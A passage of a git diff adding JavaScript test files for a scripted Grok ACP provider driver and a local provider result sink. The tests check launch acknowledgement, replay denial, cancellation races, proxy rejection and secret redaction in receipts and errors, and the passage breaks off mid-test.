uncertainty, +// acknowledgement, duplicate launch, attention/reply identity, cancellation +// races, restart reattach, and event/cursor bounds. This is not live Grok +// ACP qualification. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_RESULT_KEYS, + PROVIDER_DRIVER_VERSION, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + GROK_ACP_AGENT, + GROK_PROVIDER_SLOT, + MAX_GROK_ACP_EVENT_PAGE, + bindGrokAcpDriverV1, + createGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, + grokAcpDriverDeclarationV1, + inspectGrokAcpLaneEvidenceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + GROK_FIXTURE_MODEL, + GROK_FIXTURE_SESSION_ID, + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, + grokAcpCallsOf, +} from './fixtures/r1-grok-acp-transport.mjs'; +import { driverDeclaration } from './provider-driver-contract-suite.mjs'; + +const fixture = buildGrokDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, extras = {}) { + return buildDriverOperationRequestV1(operation, fixture.envelope, extras); +} + +function launchReady(transport = createScriptedGrokAcpTransportV1()) { + const driver = bindGrokAcpDriverV1(transport); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + return { driver, transport }; +} + +function identityReceipt(extra = {}) { + return { + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + ...extra, + }; +} + +function transportCounts(transport) { + return { + preflight: grokAcpCallsOf(transport, 'preflight').length, + spawn: grokAcpCallsOf(transport, 'spawn').length, + dispatch: grokAcpCallsOf(transport, 'dispatch').length, + observe: grokAcpCallsOf(transport, 'observe').length, + cancel: grokAcpCallsOf(transport, 'cancel').length, + reattach: grokAcpCallsOf(transport, 'reattach').length, + }; +} + +function assertLatchedTerminalOrDenial(action) { + try { + const receipt = action(); + assert.equal(receipt.disposition, 'terminal'); + assert.notEqual(receipt.disposition, 'in_progress'); + assert.notEqual(receipt.disposition, 'dispatch_uncertain'); + assert.notEqual(receipt.disposition, 'unresolved_attention'); + return receipt; + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.equal(error.code, 'terminal_regression_denied'); + assert.notEqual(error.code, 'in_progress'); + return undefined; + } +} + +test('the Grok adapter hard-binds grok, the P05/P17 capability record, and managed worktree semantics', () => { + const declaration = grokAcpDriverDeclarationV1(); + assert.equal(declaration.capability.provider, GROK_PROVIDER_SLOT); + assert.equal(declaration.capability.dispatch_certainty, 'confirmed_launch'); + assert.equal(declaration.capability.same_session_reply, 'live_session_reply'); + assert.equal(declaration.capability.workspace_semantics, 'local_managed_worktree'); + assert.equal(declaration.capability.workspace_starting_point, 'run_base_sha'); + assert.equal(declaration.capability.merge_authority, 'none_codex_only_integration'); + assert.equal(declaration.capability.create_pr_posture, 'prohibited'); + assert.equal(declaration.capability.replay_posture, 'never_replay'); + assert.equal(declaration.capability.exact_model_selection, 'exact_and_attested'); + assert.deepEqual([...declaration.capability.artifact_kinds], ['event_segment', 'git_diff', 'provider_report']); + assert.equal(declaration.features.cancellation, 'supported'); + assert.equal(declaration.features.detailed_events, 'supported'); + assert.equal(declaration.features.live_progress, 'supported'); + assert.equal(declaration.features.restart, 'reconcile_reattach_only'); + assert.match(declaration.capability.source_digest, /^sha256:[0-9a-f]{64}$/u); + + const surface = describeGrokAcpAdapterSurfaceV1(); + assert.equal(surface.provider, 'grok'); + assert.equal(surface.agent, GROK_ACP_AGENT); + assert.equal(surface.live_qualification, false); + assert.equal(surface.durable_store, false); + assert.equal(surface.supervisor_cutover, false); + assert.equal(surface.confirmation_rule, 'launch_dispatched_only_after_authoritative_acp_ack'); + assert.ok(surface.later_real_grok_acp_route.dispatch.includes('ChildEnvelopeV1')); + assert.ok(surface.later_real_grok_acp_route.forbidden.includes('post_spawn_retry')); + assert.ok(Object.isFrozen(surface)); + assert.ok(Object.isFrozen(surface.later_real_grok_acp_route)); +}); + +test('preflight ready then authoritative acknowledgement yields dispatched', () => { + const { driver, transport } = launchReady(); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatched'); + assert.equal(receipt.run_id, fixture.run_id); + assert.equal(receipt.assignment_id, fixture.assignment_id); + assert.equal(receipt.lane_index, fixture.lane_index); + assert.equal(receipt.base_sha, fixture.base_sha); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest); + assert.equal(receipt.detail_code, undefined); + for (const key of Object.keys(receipt)) { + assert.ok(DRIVER_RESULT_KEYS.includes(key), `unexpected result key ${key}`); + } + const spawn = grokAcpCallsOf(transport, 'spawn')[0].request; + const dispatch = grokAcpCallsOf(transport, 'dispatch')[0].request; + assert.equal(spawn.provider, 'grok'); + assert.equal(spawn.model, GROK_FIXTURE_MODEL); + assert.equal(spawn.envelope_text, undefined); + assert.equal(dispatch.envelope_text, fixture.envelope_text); + assert.equal(dispatch.model, GROK_FIXTURE_MODEL); + assert.equal(dispatch.session_id, GROK_FIXTURE_SESSION_ID); +}); + +test('pre-spawn failure is not_sent and never calls dispatch', () => { + const transport = createScriptedGrokAcpTransportV1({ + spawn: { throw: { code: 'spawn_failed', message: 'binary missing' } }, + }); + const { driver } = launchReady(transport); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'not_sent'); + assert.equal(receipt.detail_code, 'spawn_failed'); + assert.equal(typeof receipt.detail_message, 'string'); + assert.doesNotMatch(receipt.detail_message, /Implement the Grok ACP lane/u); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 0); + const retry = driver.launch(requestFor('launch')); + assert.equal(retry.disposition, 'not_sent'); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 2); +}); + +test('post-spawn timeout, exception, and loss are dispatch_uncertain and never retried', () => { + for (const script of [ + { dispatch: { throw: { code: 'transport_timeout', message: 'ack timed out' } } }, + { dispatch: { throw: { code: 'transport_exception', message: 'stdio reset' } } }, + { dispatch: { throw: { code: 'transport_lost', spawned: true, message: 'child vanished' } } }, + { spawn: { throw: { code: 'transport_lost', spawned: true, message: 'lost after pid' } } }, + { dispatch: { acknowledged: false, session_id: GROK_FIXTURE_SESSION_ID, request_id: 'x', + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest } }, + ]) { + const transport = createScriptedGrokAcpTransportV1(script); + const { driver } = launchReady(transport); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain', JSON.stringify(script)); + assert.equal(receipt.detail_code, undefined); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length <= 1, true); + } +}); + +test('duplicate launch after acknowledgement is replay_denied and does not resend', () => { + const { driver, transport } = launchReady(); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + +test('same-session attention identity reconciles to unresolved_attention', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'needs_attention', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + attention: { session_id: GROK_FIXTURE_SESSION_ID, question_id: 'q-permission-1' }, + }, + }); + const { driver } = launchReady(transport); + driver.launch(requestFor('launch')); + const receipt = driver.reconcile(requestFor('reconcile')); + assert.equal(receipt.disposition, 'unresolved_attention'); + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.attention.session_id, GROK_FIXTURE_SESSION_ID); + assert.equal(evidence.attention.question_id, 'q-permission-1'); + assert.equal(Object.hasOwn(receipt, 'attention'), false); +}); + +test('cross-session attention identity fails closed', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'needs_attention', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + attention: { session_id: 'sess-other', question_id: 'q-1' }, + }, + }); + const { driver } = launchReady(transport); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); +}); + +test('cancellation races: confirmed vs already-terminal vs requested', () => { + const confirmed = launchReady(createScriptedGrokAcpTransportV1({ + cancel: { outcome: 'cancel_confirmed', session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest }, + })); + confirmed.driver.launch(requestFor('launch')); + assert.equal(confirmed.driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + + const requested = launchReady(createScriptedGrokAcpTransportV1({ + cancel: { outcome: 'cancel_requested', session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest }, + })); + requested.driver.launch(requestFor('launch')); + assert.equal(requested.driver.cancel(requestFor('cancel')).disposition, 'cancel_requested'); + + const raced = launchReady(createScriptedGrokAcpTransportV1({ + observe: { + status: 'completed', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + }, + cancel: { outcome: 'already_terminal', session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest }, + })); + raced.driver.launch(requestFor('launch')); + assert.equal(raced.driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(raced.driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(raced.transport, 'cancel').length, 0); +}); + +test('restart reattach resumes the exact session and never relaunches', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + }, + }); + const { driver } = launchReady(transport); + driver.launch(requestFor('launch')); + const receipt = driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(receipt.disposition, 'in_progress'); + assert.equal(grokAcpCallsOf(transport, 'reattach').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + const reattach = grokAcpCallsOf(transport, 'reattach')[0].request; + assert.equal(reattach.session_id, GROK_FIXTURE_SESSION_ID); + assert.equal(reattach.envelope_text, undefined); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('event pages and cursors are capped; envelope bytes stay off the result and telemetry', () => { + const events = Array.from({ length: MAX_GROK_ACP_EVENT_PAGE + 8 }, (_, index) => ({ + type: 'text_delta', + text: `chunk-${index}-${'x'.repeat(80)}`, + })); + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + events, + cursor: '42', + event_count: events.length, + elapsed_ms: 1500, + }, + }); + const { driver } = launchReady(transport); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatched'); + const receipt = driver.reconcile(requestFor('reconcile', { + include: ['detailed_events', 'live_progress'], + })); + assert.equal(receipt.disposition, 'in_progress'); + assert.equal(receipt.detail_message, undefined); + assert.equal(JSON.stringify(receipt).includes(fixture.envelope_text), false); + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.ok(evidence.events.length <= MAX_GROK_ACP_EVENT_PAGE); + assert.equal(evidence.evidence_truncated, true); + assert.equal(evidence.cursor, '42'); + assert.equal(evidence.progress.elapsed_ms, 1500); + const observe = grokAcpCallsOf(transport, 'observe')[0].request; + assert.equal(observe.envelope_text, undefined); + assert.equal(observe.prompt, undefined); +}); + +test('preflight and cancel transport requests never carry envelope text', () => { + const { driver, transport } = launchReady(); + driver.launch(requestFor('launch')); + driver.cancel(requestFor('cancel')); + for (const operation of ['preflight', 'spawn', 'observe', 'cancel']) { + for (const call of grokAcpCallsOf(transport, operation)) { + assert.equal(call.request.envelope_text, undefined, `${operation} leaked envelope_text`); + } + } +}); + +test('cross-provider and cross-model envelopes fail closed with no substitution', () => { + const dshEnvelope = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + execution: { provider: 'dsh', model: 'stealth/ox-alpha' }, + }], + }, fixture.assignment_id); + const { driver } = launchReady(); + expectCode(() => driver.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: dshEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(dshEnvelope).digest, + }), 'provider_slot_mismatch'); + + const otherModel = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + execution: { provider: 'grok', model: 'grok-code-fast-1' }, + }], + }, fixture.assignment_id); + const otherDriver = bindGrokAcpDriverV1(createScriptedGrokAcpTransportV1()); + const otherRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: otherModel.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(otherModel).digest, + }; + assert.equal(otherDriver.preflight(otherRequest).disposition, 'ready'); + assert.equal( + grokAcpCallsOf(createScriptedGrokAcpTransportV1(), 'dispatch').length, + 0, + ); +}); + +test('digest-only, direct-mode, merge, and fallback keys fail closed', () => { + expectCode(() => createGrokAcpDriverV1(createScriptedGrokAcpTransportV1()).launch({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'digest_only_launch_denied'); + const { driver } = launchReady(); + for (const [key, value, code] of [ + ['fallback', true, 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 1, 'replay_or_fallback_denied'], + ['create_pr', true, 'merge_authority_denied'], + ['allow_merge', true, 'merge_authority_denied'], + ['workspace_mode', 'direct', 'direct_mode_rejected'], + ['direct_mode', true, 'direct_mode_rejected'], + ]) { + expectCode(() => driver.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + [key]: value, + }), code); + } +}); + +test('unbound adapter still refuses post-spawn replay', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = createGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + +test('completed then hostile running stays latched terminal or typed denial', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: [ + identityReceipt({ status: 'completed' }), + identityReceipt({ status: 'running' }), + ], + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + const observeAfterLatch = grokAcpCallsOf(transport, 'observe').length; + assert.equal(observeAfterLatch, 1); + assertLatchedTerminalOrDenial(() => driver.reconcile(requestFor('reconcile'))); + const counts = transportCounts(transport); + assert.ok(counts.observe <= observeAfterLatch + 1, 'observe-call count must stay bounded'); + assert.notEqual(counts.observe, Infinity); + assert.equal(counts.spawn, 1); + assert.equal(counts.dispatch, 1); + assert.equal(counts.cancel, 0); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(transportCounts(transport).spawn, 1); + assert.equal(transportCounts(transport).dispatch, 1); +}); + +test('two cancels after cancel_confirmed confirm once then already_terminal', () => { + const transport = createScriptedGrokAcpTransportV1({ + cancel: identityReceipt({ outcome: 'cancel_confirmed' }), + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 1); + assert.equal(transportCounts(transport).spawn, 1); + assert.equal(transportCounts(transport).dispatch, 1); +}); + +test('terminal source variants latch without extra observe/cancel/spawn/dispatch', () => { + const sources = [ + { label: 'completed', observe: identityReceipt({ status: 'completed' }) }, + { label: 'failed', observe: identityReceipt({ status: 'failed' }) }, + { label: 'cancelled', observe: identityReceipt({ status: 'cancelled' }) }, + { label: 'cancel_confirmed', cancel: identityReceipt({ outcome: 'cancel_confirmed' }) }, + { label: 'already_terminal', cancel: identityReceipt({ outcome: 'already_terminal' }) }, + ]; + for (const source of sources) { + const transport = createScriptedGrokAcpTransportV1({ + observe: source.observe ?? identityReceipt({ status: 'running' }), + cancel: source.cancel ?? identityReceipt({ outcome: 'cancel_confirmed' }), + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched', source.label); + if (source.observe) { + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal', source.label); + } else { + const expected = source.cancel.outcome; + assert.equal(driver.cancel(requestFor('cancel')).disposition, expected, source.label); + } + const afterLatch = transportCounts(transport); + assert.equal(afterLatch.spawn, 1, source.label); + assert.equal(afterLatch.dispatch, 1, source.label); + if (source.cancel) assert.equal(afterLatch.cancel, 1, source.label); + if (source.observe) assert.equal(afterLatch.observe, 1, source.label); + + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal', source.label); + assert.equal(transportCounts(transport).cancel, afterLatch.cancel, `${source.label} extra cancel`); + + assertLatchedTerminalOrDenial(() => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' }))); + const afterReconcile = transportCounts(transport); + assert.ok(afterReconcile.observe <= afterLatch.observe + 1, `${source.label} extra observe`); + assert.equal(afterReconcile.spawn, 1, `${source.label} extra spawn`); + assert.equal(afterReconcile.dispatch, 1, `${source.label} extra dispatch`); + assert.equal(afterReconcile.cancel, afterLatch.cancel, `${source.label} extra cancel after reconcile`); + assert.equal(afterReconcile.reattach, afterLatch.reattach, `${source.label} extra reattach`); + + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied', source.label); + expectCode(() => driver.preflight(requestFor('preflight')), 'invalid_transition', source.label); + assert.equal(transportCounts(transport).spawn, 1, source.label); + assert.equal(transportCounts(transport).dispatch, 1, source.label); + assert.equal(transportCounts(transport).preflight, 1, source.label); + } +}); + +test('cancel_requested stays nonterminal and a later cancel may still reach transport', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: identityReceipt({ status: 'running' }), + cancel: [ + identityReceipt({ outcome: 'cancel_requested' }), + identityReceipt({ outcome: 'cancel_confirmed' }), + ], + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_requested'); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'in_progress'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 2); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 2); +}); + +test('unbound launch then cancel(already_terminal) then preflight cannot resend', () => { + const transport = createScriptedGrokAcpTransportV1({ + cancel: { + outcome: 'already_terminal', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + }, + }); + const driver = createGrokAcpDriverV1(transport); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + expectCode(() => driver.preflight(requestFor('preflight')), 'invalid_transition'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'preflight').length, 1); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + +test('lost observe after uncertain launch stays dispatch_uncertain', () => { + const transport = createScriptedGrokAcpTransportV1({ + dispatch: { throw: { code: 'transport_timeout' } }, + observe: { + status: 'lost', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + }, + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'dispatch_uncertain'); +}); + +test('the grok declaration is not a dsh or cloud stub', () => { + const grok = grokAcpDriverDeclarationV1(); + const dsh = driverDeclaration('dsh'); + assert.notEqual(grok.capability.dispatch_certainty, dsh.capability.dispatch_certainty); + assert.notEqual(grok.capability.same_session_reply, dsh.capability.same_session_reply); + assert.equal(grok.capability.create_pr_posture, 'prohibited'); +}); diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs new file mode 100644 index 0000000..9d493c7 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs @@ -0,0 +1,348 @@ +import assert from 'node:assert/strict'; +import { writeFileSync } from 'node:fs'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; +import { ARTIFACT_REF_SCHEMA_ID } from '../mcp/v3/artifact-ref.mjs'; +import { publishArtifactV1, openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE, + LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + contentFreeSinkFailureV1, + localProviderResultReportPathV1, + sinkLocalProviderResultV1, +} from '../mcp/v3/local-provider-result-sink.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-artifact-fixtures.mjs'; +import { + CHILD_B, + PROMPT_SECRET, + REPLACEMENT, + RUN_ID, + SECRET, + SPLIT_SECRET, + SubclassedBytes, + conflictingSanitizedRef, + digestOf, + grokText, + identityFor, + makeStoreRoot, + removeRoot, + splitStringChunks, +} from './fixtures/r1-local-provider-result-sink-fixtures.mjs'; + +async function expectCode(action, code, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +function assertContentFree(error, root, secrets) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + for (const secret of secrets) { + assert.equal(message.includes(secret), false, `error leaked ${secret}`); + } +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +test('proxy accessor and subclassed sources fail closed without running traps', async () => { + await withStore(async (store, root) => { + const { proxy, counts } = countingProxy({ + ...identityFor('grok'), + source: grokText(), + }); + const proxied = await expectCode( + () => sinkLocalProviderResultV1(store, proxy), + 'proxy_denied', + ); + assert.ok(trapTotal(counts) <= 2); + assertContentFree(proxied, root, [SECRET]); + + const sourceProxy = countingProxy(Buffer.from(grokText(), 'utf8')); + const proxiedSource = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source: sourceProxy.proxy, + }), + 'proxy_denied', + 'source', + ); + assertContentFree(proxiedSource, root, [SECRET]); + + const trap = { ran: 0 }; + const accessor = { + ...identityFor('dsh'), + get source() { + trap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }; + const access = await expectCode( + () => sinkLocalProviderResultV1(store, accessor), + 'accessor_property_denied', + 'options.source', + ); + assert.equal(trap.ran, 0); + assertContentFree(access, root, [SECRET]); + + const subclassed = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: new SubclassedBytes(Buffer.from(grokText(), 'utf8')), + }), + 'artifact_stream_invalid_source', + 'source', + ); + assertContentFree(subclassed, root, [SECRET]); + }); +}); + +test('malformed unknown and cloud-provider inputs fail closed', async () => { + await withStore(async (store, root) => { + const unknown = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: grokText(), + extra: true, + }), + 'unknown_key', + ); + assertContentFree(unknown, root, [SECRET]); + + const missing = await expectCode( + () => sinkLocalProviderResultV1(store, { + assignment_id: 'lane-alpha', + provider: 'grok', + model: 'grok-code', + source: grokText(), + }), + 'missing_key', + 'options.run_id', + ); + assertContentFree(missing, root, [SECRET]); + + const cloud = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + provider: 'cursor-cloud', + source: grokText(), + }), + 'local_provider_required', + 'options.provider', + ); + assertContentFree(cloud, root, [SECRET]); + + const badId = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + assignment_id: 'Lane_Nope', + source: grokText(), + }), + 'invalid_format', + 'options.assignment_id', + ); + assertContentFree(badId, root, [SECRET]); + }); +}); + +test('secret splits across chunks never appear in receipts tails or errors', async () => { + await withStore(async (store, root) => { + const body = `work output ${SPLIT_SECRET} and prompt: "${PROMPT_SECRET}"\nVERDICT: SECRET PASS`; + const at = body.indexOf(SPLIT_SECRET) + 8; + const receipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: splitStringChunks(body, at), + }); + const serialized = JSON.stringify(receipt); + assertNoSecret(serialized, root); + assert.equal(receipt.inline_tail.text.includes(SPLIT_SECRET), false); + assert.equal(receipt.inline_tail.text.includes(PROMPT_SECRET), false); + assert.equal(receipt.inline_tail.text.includes(SECRET), false); + assert.match(receipt.inline_tail.text, /VERDICT: SECRET PASS$/u); + assert.match(receipt.inline_tail.text, new RegExp(REPLACEMENT, 'u')); + const page = await readSanitizedArtifactV1(store, receipt.sanitized_ref, { + offset: 0, + max_bytes: 8192, + }); + const sanitized = Buffer.from(page.selected_content, 'base64').toString('utf8'); + assert.equal(sanitized.includes(SPLIT_SECRET), false); + assert.equal(sanitized.includes(PROMPT_SECRET), false); + assert.match(sanitized, /VERDICT: SECRET PASS$/u); + }); +}); + +function assertNoSecret(serialized, root) { + assert.equal(serialized.includes(root), false); + assert.equal(serialized.includes(SPLIT_SECRET), false); + assert.equal(serialized.includes(PROMPT_SECRET), false); + assert.equal(serialized.includes(SECRET), false); + assert.equal(serialized.includes('private fallback prompt'), false); +} + +test('idempotent restart succeeds and conflicting or tampered artifacts fail closed', async () => { + await withStore(async (store, root) => { + const source = grokText(); + const first = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source, + }); + const restart = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source, + }); + assert.equal(restart.published, true); + assert.equal(restart.raw_digest, first.raw_digest); + assert.equal(restart.sanitized_digest, first.sanitized_digest); + assert.equal(restart.inline_tail.text, 